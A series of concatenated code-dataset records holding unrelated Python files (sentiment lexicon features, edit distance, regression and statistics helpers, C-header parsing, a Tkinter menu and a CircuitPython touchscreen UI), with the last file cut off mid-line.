Opi_sentiments[label] += 1\n\n for sentiment,count in Opi_sentiments.items():\n if sentiment == '': continue\n features[ ('Opi-count', sentiment) ] = count\n\n return features\n\n\n\n\ndef subjectivity_lexicon_features(phrase):\n\n features = {}\n\n # FIXME - MUST disambiguate POS\n # Feature Subjectivity Classification\n Subj_sentiments = defaultdict(lambda:0)\n for word in phrase:\n negated = ('_neg' in word)\n if negated: word = word[:-4]\n\n entry = lexSubj.lookup(word)\n if entry.prior != '':\n label = (entry.type, entry.prior) # ex. ('strongsub','positive')\n\n if negated:\n if label[1] == 'positive':\n label = ('weaksubj','negative')\n elif label[1] == 'negative':\n label = ('weaksubj','positive')\n\n Subj_sentiments[label] += 1\n\n for sentiment,count in Subj_sentiments.items():\n features[ ('Subj-%s-%s_count' % sentiment) ] = count\n\n return features\n\n\n\ndef emotion_lexicon_features(phrase):\n\n # Emotion Scores\n lexEmo_uni_scores = defaultdict(lambda:[])\n for w in phrase:\n context = (w[-4:] == '_neg')\n if context: w = w[:-4]\n senti = lexEmo.lookup(w)\n if context:\n score = -senti[1]\n else:\n score = senti[1]\n\n lexEmo_uni_scores[senti[0]].append( score )\n\n # Get features for each kind of emotion\n features = {}\n for e,scores in lexEmo_uni_scores.items():\n emotion_feats = scores_to_features(scores, 'Emo', e)\n features.update(emotion_feats)\n\n return features\n\n\n\ndef affin_lexicon_features(phrase):\n # Add Affin Features\n scores = []\n for word in phrase:\n negated = ('_neg' in word)\n if negated: word = word[:-4]\n\n score = lexAff.score(word)\n if score != None:\n if negated: score = 0\n scores.append(score)\n\n return scores_to_features(scores, 'Affin', 'score')\n\n\n\ndef brown_cluster_features(phrase):\n\n features = defaultdict(lambda:0)\n\n # Add Brown Cluster Features\n lastCluster = None\n clusters = []\n for word in phrase:\n context = (word[-4:] == '_neg')\n if context: word = word[:-4]\n wordCluster = lexClus.getCluster(word)\n clusters.append(wordCluster)\n if wordCluster != None:\n features[('Cluster-count',(context,wordCluster))] += 1\n lastCluster = wordCluster\n if lastCluster != None:\n features[('Cluster-last',lastCluster)] = 1\n\n return dict(features)\n\n\n\n\ndef general_inquirer_features(phrase):\n\n features = {}\n\n #Add General Inquirer Features\n lastTags = None\n tagDict = defaultdict(lambda:0)\n for word in phrase:\n #print word\n negated = ('_neg' in word)\n if negated: word = word[:-4]\n\n weight = 1 if not negated else 0\n\n wordTags = lexInq.getTags(word)\n #print 'wordTags: ', wordTags\n if wordTags != None:\n for tag in wordTags:\n #print '\\t', tag\n tagDict[tag] += weight\n lastTags = wordTags\n #print\n #print 'tagDict: ', tagDict\n for key in tagDict:\n if tagDict[key] > 0:\n features[('Tag-count',key)] = tagDict[key]\n if lastTags != None:\n for tag in lastTags:\n features[('Tag-last',tag)] = 1\n\n return features\n\n\n\n\ndef sentiment_lexicon_features(phrase, lexName, lex):\n\n # Unigram features\n def sentiment_lexicon_unigram_features():\n # Build unigram scores\n uni_scores = []\n for word in phrase:\n score = context_lookup( lambda w: lex.lookupUnigram(w).score, word)\n uni_scores.append(score)\n\n # Get features for unigrams\n return scores_to_features(uni_scores, lexName, 'unigram')\n\n\n # Bigram features\n def sentiment_lexicon__bigram_features():\n # Build bigram scores\n bi_scores = []\n for i in range(len(phrase) - 1):\n bigram = (phrase[i], phrase[i+1])\n bi_scores.append( lex.lookupBigram(bigram).score )\n\n # Get features for bigrams\n return scores_to_features(bi_scores, lexName, 'bigram')\n\n\n def sentiment_lexicon___pairs_features():\n # Build pair scores\n pairs = []\n for i in range(len(phrase) - 1):\n unigram = phrase[i]\n rest = phrase[i+1:]\n\n # uni-uni\n for w in rest:\n pairs.append( (unigram,w) )\n\n # uni-bi\n for j in range(len(rest)-1):\n bi = tuple(rest[j:j+2])\n pairs.append( (unigram,bi) )\n\n # bi-bi\n bigram = tuple(phrase[i:i+2])\n rest = phrase[i+2:]\n for j in range(len(rest)-1):\n bi = tuple(rest[j:j+2])\n pairs.append( (bigram,bi) )\n pair_scores = [ lex.lookupPair(p).score for p in pairs ]\n\n # Get features for pairs\n return scores_to_features(pair_scores, lexName, 'pairs')\n\n\n # Call helper functions and combine results\n features = {}\n\n features.update(sentiment_lexicon_unigram_features())\n features.update(sentiment_lexicon__bigram_features())\n features.update(sentiment_lexicon___pairs_features())\n\n return features\n\n\n\n\ndef lexicon_features(sentence, begin, end, ark_tweet=None):\n\n \"\"\"\n lexicon_features()\n @return A feature dictionary.\n \"\"\"\n\n features = {}\n\n # Light normalization\n phrase = light_normalize(sentence, begin, end, ark_tweet)\n\n\n # Aplly all twitter-specfic lexicons\n features.update( opinion_lexicon_features(phrase) )\n features.update( sentiment_lexicon_features(phrase, 'HTS', lexHTS ) )\n features.update( sentiment_lexicon_features(phrase, 'S140', lexS140) )\n\n # Not including will boost results\n #features.update( brown_cluster_features(phrase) )\n\n # Apply all general-purpose lexicons\n features.update( subjectivity_lexicon_features(phrase) )\n\n features.update( affin_lexicon_features(phrase) )\n\n\n\n features.update( emotion_lexicon_features(phrase) )\n features.update( general_inquirer_features(phrase) )\n\n #if features:\n # print phrase\n # print features\n # print '\\n\\n'\n\n return { k:v for k,v in features.items() if v }\n\n","repo_name":"mikemeding/SemEval-2015","sub_path":"wboag-sentiment/TwitterHawk-master/TaskA/code/taska_features/taska_lexicon_features.py","file_name":"taska_lexicon_features.py","file_ext":"py","file_size_in_byte":10494,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"929095310","text":"def edit_distance(s1, s2):\n \"\"\"caculate edit distance between two strings;\n \"\"\"\n edit = [[i+j for j in range(len(s2)+1)] for i in range(len(s1)+1)]\n\n for i in range(1, len(s1)+1):\n for j in range(1, len(s2)+1):\n if s1[i-1]==s2[j-1]:\n d = 0\n else:\n d = 1\n\n edit[i][j] = min(edit[i-1][j]+1, edit[i][j-1]+1, edit[i-1][j-1]+d)\n return edit[len(s1)][len(s2)]\n\n\nif __name__ == \"__main__\":\n ed = edit_distance('hello', 'hexxol')\n print(ed)\n\n","repo_name":"Fisher87/ai_explore","sub_path":"nlp_explore/task/utils/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"61"} +{"seq_id":"31768960770","text":"# IMPORTS\nimport pandas as pd \nimport env as env\nimport os\nimport wrangle as w\n\n# data visualization\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# stats data \nimport scipy.stats as stats\nimport statsmodels.formula.api as smf\nfrom scipy.stats import ttest_1samp, ttest_ind,f_oneway\nfrom sklearn.preprocessing import RobustScaler\nfrom sklearn.linear_model import LinearRegression, LassoLarsCV\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import mean_squared_error, r2_score\nalpha=0.05\n\n\n# function to plot cont target variable\ndef plot_continuous_target(y):\n \"Function to plot target variable\"\n \n # Plot the continuous target variable\n plt.figure(figsize=(8, 6))\n plt.hist(y)\n plt.xlabel('Target Variable')\n plt.ylabel('Frequency')\n plt.title('Distribution of Continuous Target Variable')\n plt.show()\n\n\n#Function plot cont and cat variables\ndef plot_categorical_and_continuous_vars(df, cat_var, cont_var):\n for var in cont_var:\n # Create a box plot\n plt.figure(figsize=(12, 6))\n sns.violinplot(x=cat_var, y=var, data=df)\n plt.axhline(y=df[var].mean(), color='r', linestyle='--')\n plt.xlabel(cat_var)\n plt.ylabel(var)\n plt.title(f'{cat_var} vs. {var}')\n plt.show()\n\n\n# Function to plot cat variable\n\ndef plot_variable_pairs(df, cols):\n \" Function to plot variables\"\n sns.pairplot(df[cols], kind='reg')\n plt.show()\n\n# function to scale data:\n\ndef robust_scale_data(X_train, X_validate,X_test):\n \"\"\"this function could be used to scaled your features prior to feature\n \"\"\"\n # Initialize RobustScaler object\n scaler = RobustScaler()\n \n # Fit scaler object to training data\n scaler.fit(X_train)\n \n # Transform training and validation data\n X_train_scaled = scaler.transform(X_train)\n X_validate_scaled = scaler.transform(X_validate)\n X_test_scaled = scaler.transform(X_test)\n # Return scaled data\n return X_train_scaled, X_validate_scaled, X_test_scaled\n\n# function to calculate regression model:\n\ndef calculate_regression_results(X_train, y_train, X_test, y_test):\n # Calculate baseline (yhat)\n yhat = np.mean(y_train)\n\n # Initialize dataframe to store results\n results_df = pd.DataFrame(columns=['Model', 'Alpha', 'Degree', 'RMSE', 'R2'])\n\n # Ordinary Least Squares (OLS) regression\n ols = LinearRegression()\n ols.fit(X_train, y_train)\n ols_y_pred = ols.predict(X_test)\n ols_rmse = np.sqrt(mean_squared_error(y_test, ols_y_pred))\n ols_r2 = r2_score(y_test, ols_y_pred)\n results_df = results_df.append({'Model': 'OLS', 'Alpha': None, 'Degree': None, 'RMSE': ols_rmse, 'R2': ols_r2}, ignore_index=True)\n\n # LassoLARS regression with different alphas\n alphas = [0.1, 0.01, 0.001]\n for alpha in alphas:\n lasso = LassoLarsCV(cv=5, max_iter=10000, eps=0.1, normalize=True, precompute='auto')\n lasso.fit(X_train, y_train)\n lasso_y_pred = lasso.predict(X_test)\n lasso_rmse = np.sqrt(mean_squared_error(y_test, lasso_y_pred))\n lasso_r2 = r2_score(y_test, lasso_y_pred)\n results_df = results_df.append({'Model': 'LassoLARS', 'Alpha': alpha, 'Degree': None, 'RMSE': lasso_rmse, 'R2': lasso_r2}, ignore_index=True)\n\n # Polynomial regression with different degrees\n degrees = [1, 2, 3, 4]\n for degree in degrees:\n poly_features = PolynomialFeatures(degree=degree)\n X_train_poly = poly_features.fit_transform(X_train)\n X_test_poly = poly_features.transform(X_test)\n poly_reg = LinearRegression()\n poly_reg.fit(X_train_poly, y_train)\n poly_y_pred = poly_reg.predict(X_test_poly)\n poly_rmse = np.sqrt(mean_squared_error(y_test, poly_y_pred))\n poly_r2 = r2_score(y_test, poly_y_pred)\n results_df = results_df.append({'Model': 'Polynomial Regression', 'Alpha': None, 'Degree': degree, 'RMSE': poly_rmse, 'R2': poly_r2}, ignore_index=True)\n\n return results_df\n\n\n# Stats test two cont variables:\ndef perform_statistical_tests(variable1, variable2, alpha):\n # Perform t-test\n t_statistic, p_value = stats.ttest_ind(variable1, variable2)\n print(\"T-Test Results:\")\n print(f\"T-Statistic: {t_statistic}\")\n print(f\"P-Value: {p_value}\")\n if p_value < alpha:\n print('We reject the null hypothesis.')\n else:\n print('We fail to reject the null hypothesis.')\n\n # Perform Mann-Whitney U test\n u_statistic, p_value = stats.mannwhitneyu(variable1, variable2, alternative='two-sided')\n print(\"\\nMann-Whitney U Test Results:\")\n print(f\"U-Statistic: {u_statistic}\")\n print(f\"P-Value: {p_value}\")\n if p_value < alpha:\n print('We reject the null hypothesis.')\n else:\n print('We fail to reject the null hypothesis.')\n\n # Perform Pearson correlation test\n pearson_corr, p_value = stats.pearsonr(variable1, variable2)\n print(\"\\nPearson Correlation Test Results:\")\n print(f\"Pearson Correlation Coefficient: {pearson_corr}\")\n print(f\"P-Value: {p_value}\")\n if p_value < alpha:\n print('We reject the null hypothesis.')\n else:\n print('We fail to reject the null hypothesis.')\n\n # Perform Spearman correlation test\n spearman_corr, p_value = stats.spearmanr(variable1, variable2)\n print(\"\\nSpearman Correlation Test Results:\")\n print(f\"Spearman Correlation Coefficient: {spearman_corr}\")\n print(f\"P-Value: {p_value}\")\n if p_value < alpha:\n print('We reject the null hypothesis.')\n else:\n print('We fail to reject the null hypothesis.')\n\n\n\n# function to perform tast test on a cont and cat variable\n\ndef statistical_tests_cont_cat(variable_continuous, variable_categorical, alpha=0.05):\n # Perform t-test or Mann-Whitney U test based on the number of categories in the categorical variable\n unique_categories = variable_categorical.unique()\n num_categories = len(unique_categories)\n\n if num_categories == 2:\n category1 = variable_continuous[variable_categorical == unique_categories[0]]\n category2 = variable_continuous[variable_categorical == unique_categories[1]]\n\n t_statistic, p_value = stats.ttest_ind(category1, category2)\n test_type = \"T-Test\"\n else:\n categories = [variable_continuous[variable_categorical == category] for category in unique_categories]\n statistic, p_value = stats.kruskal(*categories)\n t_statistic = statistic\n test_type = \"Kruskal-Wallis Test\"\n\n print(f\"{test_type} Results:\")\n print(f\"Test Statistic: {t_statistic}\")\n print(f\"P-Value: {p_value}\")\n\n if p_value < alpha:\n print(\"We reject the null hypothesis.\")\n else:\n print(\"We fail to reject the null hypothesis.\")\n\n # Perform ANOVA or Kruskal-Wallis test based on the number of categories in the categorical variable\n if num_categories > 2:\n if num_categories <= 10: # Perform ANOVA test\n groups = [variable_continuous[variable_categorical == category] for category in unique_categories]\n f_statistic, p_value = stats.f_oneway(*groups)\n test_type = \"ANOVA\"\n else: # Perform Kruskal-Wallis test\n groups = [variable_continuous[variable_categorical == category] for category in unique_categories]\n statistic, p_value = stats.kruskal(*groups)\n f_statistic = statistic\n test_type = \"Kruskal-Wallis Test\"\n\n print(f\"\\n{test_type} Results:\")\n print(f\"Test Statistic: {f_statistic}\")\n print(f\"P-Value: {p_value}\")\n\n if p_value < alpha:\n print(\"We reject the null hypothesis.\")\n else:\n print(\"We fail to reject the null hypothesis.\")\n\n\ndef metrics_reg(y, yhat):\n \"\"\"\n function calculate RMSE, R2 by Misty\n \"\"\"\n rmse = mean_squared_error(y, yhat, squared=False)\n r2 = r2_score(y, yhat)\n return rmse, r2\n\n \n","repo_name":"Chellyann-moreno/Zillow-project","sub_path":"explore_evaluate.py","file_name":"explore_evaluate.py","file_ext":"py","file_size_in_byte":7891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4754442087","text":"#Extract arrays from c headers\n#Attempting to preserve comments\n\ndef tables(header):\n\t\"\"\"Find the start of the c array, declared with [].\n\tExpects one parameter, a string containing the content of the file to read.\"\"\"\n\tct = header.count('[]') #How many tables.\n\tif ct == 0: return #Woops, nothing to do.\n\tidx = 0 #start from the first letter.\n\twhile ct > 0:\n\t\tidx = header.index('[]', idx)\n\t\tyield idx #start-ish of the table declaration.\n\t\tidx += 1 #get ready for next search.\n\t\tct -= 1 #We found 1.\n\ndef getTabName(header, index):\n\t\"\"\"Get the name of the table at index from above tables generator.\n\tExpects the header string and the index of the table.\"\"\"\n\tname = header.rindex(' ', 0, index) #start of the name.\n\treturn header[name + 1: index] #the name of the table.\n\ndef getTabData(header, index):\n\t\"\"\"Get the table data at index from above tables generator.\n\tExpects the header string and the index of the table.\"\"\"\n\ttabStart = header.index('{', index) + 1 #start of the table, first letter after {.\n\ttabEnd = header.index('}', tabStart) #last of the array.\n\treturn header[tabStart:tabEnd]\n\ndef getComments(header, index):\n\t\"\"\"Get any comments before this table.\n\tExpects the header string and the index of the table.\"\"\"\n\tcend = header.rindex('\\n', 0, index) #the start of line.\n\tcstart = cend\n\ttmp = cend\n\twhile True: #find start of a comment.\n\t\ttmp = header.rindex('\\n', 0, cstart - 1)\n\t\tif '//' in header[tmp:cstart]:\n\t\t\tcstart = tmp #this is a line with a comment.\n\t\telse:\n\t\t\treturn header[cstart:cend]\n\ndef allTabs(filePath):\n\t\"\"\"return {table name: (comments, data)} for all tables.\n\tExpects the filename of the header to read.\"\"\"\n\t#Its a q&d tool, I should catch exceptions, but this is not for use in production.\n\theader = filePath.read_text() #see pathlib.Path.\n\tr = {} #result of this function.\n\tfor i in tables(header):\n\t\tr[getTabName(header, i)] = (getComments(header, i), getTabData(header, i))\n\treturn r\n\ndef splitTab(x):\n x = '\\n' + x + '\\n'\n nend = x.index('[')\n nstart = x.rindex(' ', 0, nend)\n name = x[nstart:nend].strip()\n dend = x.index('\\n', nend)\n dstart = x.rindex('\\n', 0, nend - 1)\n dcl = x[dstart:dend].strip()\n vstart = x.index('{') + 1\n vend = x.rindex('}')\n vals = [i.strip() for i in x[vstart:vend].split(',')]\n hdr = x[:dstart].strip()\n hdr += '\\n# ' + dcl\n return (name, hdr, vals)\n\ndef isHex(x):\n if x.isdigit():\n return True\n try:\n x = [int(x, 16)]\n return True\n except ValueError:\n return False\n except TypeError:\n return False\n\nzxfmt = \"/*!!{}*/\"\ndef getch(x):\n if isHex(x):\n return x\n if x.count(\"'\") >= 2:\n xs = x.index(\"'\") + 1\n xe = x.rindex(\"'\")\n if xe - xs >= 1 and x[xs] == \"\\\\\":\n xs += 1\n r = hex(ord(x[xs:xe]))\n if len(x) == 3:\n return r\n rx = x[3:]\n hx = rx[1:]\n if isHex(hx):\n return \"{} {} {}\".format(*[r, rx[0], hx])\n x = xfmt.format(x)\n return x\n\n","repo_name":"jscuster/PyMouth","sub_path":"tools/tabs.py","file_name":"tabs.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"19714158922","text":"def rotate(nums, k):\r\n # 利用切片\r\n \r\n # nums[:] = nums[len(nums) - k:] + nums[:len(nums) - k]\r\n k %= len(nums) \r\n nums[:] = nums[-k:] + nums[:-k]\r\n \r\n return nums\r\n\r\n # 三次旋转 \r\n # n = len(nums)\r\n # k %= n\r\n\r\n # def swap(nums, l, r):\r\n # while l < r:\r\n # nums[l], nums[r] = nums[r], nums[l]\r\n # l += 1\r\n # r -= 1\r\n \r\n # return nums\r\n\r\n # nums = swap(nums, 0, n-k-1)\r\n # nums = swap(nums, n-k, n-1)\r\n # nums = swap(nums, 0, n-1)\r\n\r\n # return nums\r\n\r\n\r\n \r\n\r\nnums = [1,2,3,4,5,6,7]\r\nk = 3\r\nprint(rotate(nums, k))","repo_name":"zuishuailxy/algorithm009-class01","sub_path":"Week_01/189_旋转数组.py","file_name":"189_旋转数组.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"70275149955","text":"#!/usr/bin/env python\nimport argparse\n\nfrom shelf import app\n\nparser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('-s', '--host', default='10.0.3.1', help='host address to server from')\nparser.add_argument('-p', '--port', default=8000, type=int, help='TCP port to serve from')\nargs = parser.parse_args()\napp.run(args.host, args.port)\n","repo_name":"bitsandsalsa/shelf","sub_path":"shelf/runserver.py","file_name":"runserver.py","file_ext":"py","file_size_in_byte":391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31676596932","text":"import pandas as pd\nfrom sqlalchemy import create_engine\nimport json\nimport re\nfrom collections import Counter\n\n\ndef load_sample(uri, n_samples=200, offset=0, save_df=None):\n \"\"\"\n The fucntion loads a sample from a relational database and converts it to a dataframe\n **NOTE :** Only works with SQLite\n\n :param offset: The starting point of the sampling (0 by default)\n :param n_samples: Number of samples to get into the database (200)\n :param uri: URI of the SQL database\n :return: A df containing a number of samples\n \"\"\"\n engine = create_engine(uri)\n sql_query = f\"SELECT id, abstract FROM articles LIMIT {n_samples} OFFSET {offset}\"\n\n conn = engine.connect()\n df = pd.read_sql_query(sql_query, con=conn)\n if save_df:\n save_df.to_df(\"clean_articles\", con=conn, index=\"id\", if_exists=\"append\", index_label='id')\n conn.close()\n\n return df\n\n\ndef create_table_sql(table, id, columns):\n sql_req = f\"CREATE TABLE {table} IF NOT EXISTS\"\n id_req = f\"{id} INTEGER PRIMARY KEY\"\n col_req = \", \".join([f\"{column} TEXT\" for column in columns])\n sql_req += f\" ({id_req}, {col_req});\"\n return sql_req\n\n\ndef find_row_number(table, conn):\n sql_req = f\"SELECT COUNT(*) FROM {table}\"\n rows = conn.execute(sql_req)\n for row in rows:\n total_row = row[0]\n return int(total_row)\n\n\ndef load_nlp_params():\n ressource_path = 'st_model_conceptor/ressources/nlpparams.json'\n with open(ressource_path, 'r') as file:\n nlp_params = json.load(file)\n return nlp_params\n\n\ndef tokenize_text(text, tokenizer):\n matches = re.finditer(tokenizer, text, re.M)\n list_words = [match.group(0).replace(\")\", \"\").lower() for match in matches]\n return list_words\n\n\ndef filter_stopwords(list_words, stopword_list):\n sw = set(stopword_list)\n return [word for word in list_words if word not in sw]\n\n\ndef clean_text(text, tokenizer, stopword_list):\n tokenized_list = tokenize_text(text, tokenizer)\n return \" \".join(filter_stopwords(tokenized_list, stopword_list))\n\n\ndef cleanup_corpus(df):\n df['clean_abstract'] = df['abstract'].apply(clean_text)\n return df.loc[['id', 'clean_abstract']]\n\n\ndef create_word_freq(text_list):\n total_counter = Counter(text_list[0].split())\n for text in text_list[1:]:\n total_counter += Counter(text.split())\n return pd.Series(total_counter)\n","repo_name":"sboomi/med-article-extractor","sub_path":"model-app/st_model_conceptor/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1560395208","text":"from Cadastro import abrir_janela_cadastro\nimport tkinter as tk\nfrom Venda import abrir_janela_venda\n\n\nmenu = tk.Tk()\nmenu.title(\"Menu Clientes\")\nmenu.geometry(\"700x435+660+250\")\nmenu.resizable(False, False)\nmenu.configure(bg=\"#FFE8E5\")\n\n# ID\nid = tk.Entry(menu, font=14, width=6)\nid.pack()\nid.place(x=90, y=60)\n\n# ID Nome\nid_rotulo = tk.Label(menu, text=\"ID:\", font=(\"Helvetica\", 11), bg=\"#FFE8E5\")\nid_rotulo.pack()\nid_rotulo.place(x=64, y=59)\n\n# Nome\nnome_completo = tk.Entry(menu, font=14, width=42)\nnome_completo.pack()\nnome_completo.place(x=245, y=60)\n\n# Rotulo Nome\nnome_rotulo = tk.Label(menu, text=\"Nome:\", font=(\"Helvetica\", 11), bg=\"#FFE8E5\")\nnome_rotulo.pack()\nnome_rotulo.place(x=190, y=59)\n\n\n# Data\ndata = tk.Entry(menu, font=14, width=12)\ndata.pack()\ndata.place(x=90, y=110)\n\n# Data rotulo\ndata_rotulo = tk.Label(menu, text=\"Data:\", font=(\"Helvetica\", 11), bg=\"#FFE8E5\")\ndata_rotulo.pack()\ndata_rotulo.place(x=45, y=110)\n\n# Pesquisar\nbutton_pesquisar = tk.Button(menu, text=\"Pesquisar\", font=(\"Cooper Black\", 12), bg=\"#EB0DAD\", fg=\"White\")\nbutton_pesquisar.pack()\nbutton_pesquisar.place(x=300, y=130)\nbutton_pesquisar.config(width=10, height=1)\n\nbutton_venda = tk.Button(menu, text=\"Cadastrar Venda\", font=(\"Cooper Black\", 12), bg=\"#EB0DAD\", fg=\"White\", command=abrir_janela_venda)\nbutton_venda.pack()\nbutton_venda.place(x=435, y=130)\nbutton_venda.config(width=14, height=1)\n\n# Cadastrar\n\nbutton_cadastrar = tk.Button(menu, text=\"Cadastrar\", bg=\"#EB0DAD\", fg=\"White\", font=(\"Cooper Black\", 11),\n command=abrir_janela_cadastro)\nbutton_cadastrar.pack()\nbutton_cadastrar.place(x=546, y=6)\nbutton_cadastrar.config(width=10, height=1)\n\n# Cadastrar rotulo\ndata_rotulo = tk.Label(menu, text=\"Clique para cadastrar um cliente.\", font=(\"Helvetica\", 9), bg=\"#FFE8E5\")\ndata_rotulo.pack()\ndata_rotulo.place(x=355, y=10)\n\nmenu.mainloop()\n","repo_name":"CaioMartins2222/Tkinter","sub_path":"menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":1867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43203443234","text":"from sys import stdin,stdout,implementation\nfrom os import getenv\nfrom storage import getmount\n\nimport board\nimport displayio\nimport framebufferio\nimport adafruit_imageload\nimport terminalio\nimport vectorio\nfrom adafruit_display_text import bitmap_label as label\nimport busio\nimport time\nfrom supervisor import runtime\n\nif board.board_id == \"makerfabs_tft7\":\n import dotclockframebuffer\n from gt911_touch import GT911_Touch as Touch_Screen\nelif board.board_id == \"espressif_esp32s3_devkitc_1_n8r8_hacktablet\":\n import dotclockframebuffer\n from adafruit_focaltouch import Adafruit_FocalTouch as Touch_Screen\nelse:\n try:\n import adafruit_ili9341\n from adafruit_tsc2007 import TSC2007 as Touch_Screen\n except:\n raise RuntimeError(\"Unknown/Unsupported Touchscreen\")\n\nimport digitalio\nfrom microcontroller import pin\n\nclass PyDOS_UI:\n \n def __init__(self):\n # Setup Touch detection\n SCL_pin = board.SCL\n SDA_pin = board.SDA\n if 'TOUCH_RESET' in dir(board):\n RES_pin = digitalio.DigitalInOut(board.TOUCH_RESET)\n else:\n RES_pin = None\n\n # Makerfabs board ties IRQ to ground\n # IRQ not used in this version but possibly could improve\n # GT911 performance on boards that have it connected to the panel\n #if 'TOUCH_IRQ' in dir(board):\n # IRQ_PIN = digitalio.DigitalInOut(board.TOUCH_IRQ)\n #else:\n # IRQ_PIN = None\n\n if 'I2C' in dir(board):\n i2c = board.I2C()\n else:\n i2c = busio.I2C(SCL_pin, SDA_pin)\n if RES_pin is not None:\n self.ts = Touch_Screen(i2c, RES_pin, debug=False)\n else:\n try:\n self.ts = Touch_Screen(i2c, debug=False)\n except:\n self.ts = Touch_Screen(i2c)\n\n self.commandHistory = [\"\"]\n self.touches = []\n self._touched = False\n\n self.SHIFTED = False\n self.CAPLOCK = False\n\n# Adafruit 2.4\" TFT FeatherWing using TSC2007 touch Y dimension is reversed\n self._swapYdir = False\n\n displayio.release_displays()\n\n if 'TFT_PINS' in dir(board):\n sWdth = getenv('PYDOS_TS_WIDTH')\n if sWdth == None:\n if board.board_id == \"makerfabs_tft7\":\n sWdth = int(input(\"What is the resolution Width of the touch screen? (1024/800/...): \"))\n else:\n sWdth = board.TFT_TIMINGS['width']\n self.updateTOML(\"PYDOS_TS_WIDTH\",str(sWdth))\n\n if sWdth == 1024 and \"TFT_TIMINGS1024\" in dir(board):\n disp_bus=dotclockframebuffer.DotClockFramebuffer(**board.TFT_PINS,**board.TFT_TIMINGS1024)\n else:\n disp_bus=dotclockframebuffer.DotClockFramebuffer(**board.TFT_PINS,**board.TFT_TIMINGS)\n self.display=framebufferio.FramebufferDisplay(disp_bus)\n else:\n if 'SPI' in dir(board):\n spi = board.SPI()\n else:\n spi = busio.SPI(clock=board.SCK,MOSI=board.MOSI,MISO=board.MISO)\n disp_bus=displayio.FourWire(spi,command=board.D10,chip_select=board.D9, \\\n reset=board.D6)\n self.display=adafruit_ili9341.ILI9341(disp_bus,width=320,height=240)\n self._swapYdir = True # TSC2007\n\n ts_calib = getenv('PYDOS_TS_CALIB')\n try:\n self._ts_calib = eval(ts_calib)\n except:\n self._ts_calib = self.calibrate()\n if len(self._ts_calib) != 4:\n self._ts_calib = self.calibrate()\n self._calibXfact = (self._ts_calib[2]-self._ts_calib[0]+1)/1024\n self._calibXadj = self._ts_calib[0] - 1\n self._calibYfact = (self._ts_calib[3]-self._ts_calib[1]+1)/600\n self._calibYadj = self._ts_calib[1] - 1\n self._calibKBfact = (self._ts_calib[3]-self._ts_calib[1]+1)/self.display.height\n self._calibKBadj = self._ts_calib[1] - 1\n scrCalibX = self.display.width/1024\n scrCalibY = self.display.height/600\n\n self._kbd_row = self.display.height - round(scrCalibY*330)\n keyboard_bitmap,keyboard_palette = adafruit_imageload.load \\\n (\"/lib/keyboard\"+str(self.display.width)+\".bmp\", \\\n bitmap=displayio.Bitmap,palette=displayio.Palette)\n htile=displayio.TileGrid(keyboard_bitmap,pixel_shader=keyboard_palette)\n htile.x=round(scrCalibX*20)\n htile.y=self._kbd_row\n if self._swapYdir:\n htile.y += 30\n self._kbd_group = displayio.Group()\n self._kbd_group.append(htile)\n\n font = terminalio.FONT\n color = 0xFFFFFF\n self._keyedTxt = label.Label(font, text=\"\", color=color)\n self._keyedTxt.x = round(scrCalibX*20)\n self._keyedTxt.y = self.display.height - round(scrCalibY*355)\n self._keyedTxt.scale = 2\n self._kbd_group.append(self._keyedTxt)\n \n self._shftIndicator = label.Label(font,text=\"\",color=0x00FF00)\n self._shftIndicator.x = round(scrCalibX*20)\n self._shftIndicator.y = round(scrCalibY*20)\n self._shftIndicator.scale = 2\n self._kbd_group.append(self._shftIndicator)\n self._capsIndicator = label.Label(font,text=\"\",color=0x00FF00)\n self._capsIndicator.x = round(scrCalibX*105)\n self._capsIndicator.y = round(scrCalibY*20)\n self._capsIndicator.scale = 2\n self._kbd_group.append(self._capsIndicator)\n\n self._row1Keys = [980,843,780,718,655,593,530,467,404,342,279,216,154,92,-99999]\n self._row1Keys = [self._calibX(x) for x in self._row1Keys]\n self._row1Letters = ['D','\\x08','=','-','0','9','8','7','6','5','4','3','2','1','`']\n self._row1Uppers = ['\\x04','\\x08','+','_',')','(','*','&','^','%','$','#','@','!','~']\n self._row2Keys = [880,818,755,692,629,567,504,441,378,316,253,190,127,-99999]\n self._row2Keys = [self._calibX(x) for x in self._row2Keys]\n self._row2Letters = ['\\\\',']','[','p','o','i','u','y','t','r','e','w','q','\\x09']\n self._row2Uppers = ['|','}','{']\n self._row3Keys = [980,825,763,700,637,574,511,448,385,323,260,197,134,-99999]\n self._row3Keys = [self._calibX(x) for x in self._row3Keys]\n self._row3Letters = ['A','\\n',\"'\",';','l','k','j','h','g','f','d','s',\"a\",'L']\n self._row3Uppers = ['\\x01','\\n','\"',':']\n self._row4Keys = [790,727,664,602,539,476,413,351,288,225,162,-99999]\n self._row4Keys = [self._calibX(x) for x in self._row4Keys]\n self._row4Letters = ['S','/','.',',','m','n','b','v','c','x','z','S']\n self._row4Uppers = ['S','?','>','<']\n self._row5Keys = [980,880,650,280,155,-99999]\n self._row5Keys = [self._calibX(x) for x in self._row5Keys]\n self._row5Letters = ['B','X','',' ','','\\x1b']\n\n _calibX = lambda self,x: round(x*self._calibXfact) + self._calibXadj\n _calibY = lambda self,y: round(y*self._calibYfact) + self._calibYadj\n _calibKB = lambda self,y: round(y*self._calibKBfact) + self._calibKBadj\n\n def updateTOML(self,tomlvar,tomlval):\n if getmount('/').readonly:\n print(\"***READONLY*** 